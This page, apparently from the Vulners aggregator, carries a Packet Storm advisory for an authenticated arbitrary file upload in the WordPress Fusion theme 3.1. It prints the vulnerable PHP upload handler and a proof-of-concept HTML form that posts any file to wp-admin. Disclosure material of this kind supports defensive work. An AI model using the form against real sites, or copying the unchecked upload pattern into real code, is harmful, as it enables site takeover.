Lucene search
+L

WordPress Fusion 3.1 Arbitrary File Upload

🗓️ 13 Feb 2015 00:00:00Reported by EvexType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

WordPress Fusion 3.1 Authenticated File Upload Vulnerabilit

Code
`------------------------------------------------------------------------------  
WordPress Fusion Theme Authenicated Arbitrary File Upload  
------------------------------------------------------------------------------  
  
  
[-] Theme Link:  
  
https://wordpress.org/themes/fusion ( Over 334,000 Downloads )  
http://digitalnature.ro/themes/fusion/  
  
[-] Affected Version:  
  
Version 3.1   
  
  
[-] Vulnerability Description:  
  
The vulnerable code is located in the /functions script:  
//SHORTENED CODE  
  
function fusion_options() {  
  
if ( 'fusion_save' == $_REQUEST['action'] ) {  
if ($_FILES["file-logo"]["type"]){  
$directory = $uploadpath['basedir'].'/';  
move_uploaded_file($_FILES["file-logo"]["tmp_name"],  
$directory . $_FILES["file-logo"]["name"]);  
update_option('fusion_logoimage', $uploadpath['baseurl']. "/".  
$_FILES["file-logo"]["name"]);  
}  
  
}  
add_action('admin_menu', 'fusion_options');  
  
  
then function fusion_options can be called by LOGGED IN USERS and executed  
which leads to uploading any file on attacked server which may cause the  
site full take over.  
  
  
[-] Proof of Concept:  
  
<form action="http://localhost/x/wordpress/wp-admin/admin.php"  
method="post" enctype="multipart/form-data">  
<input type="file" name="file-logo" />  
<input type="hidden" name="action" value="fusion_save" />  
<button type="submit" >Upload</button>  
</form>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2015 00:00Current
7.4High risk
Vulners AI Score7.4
32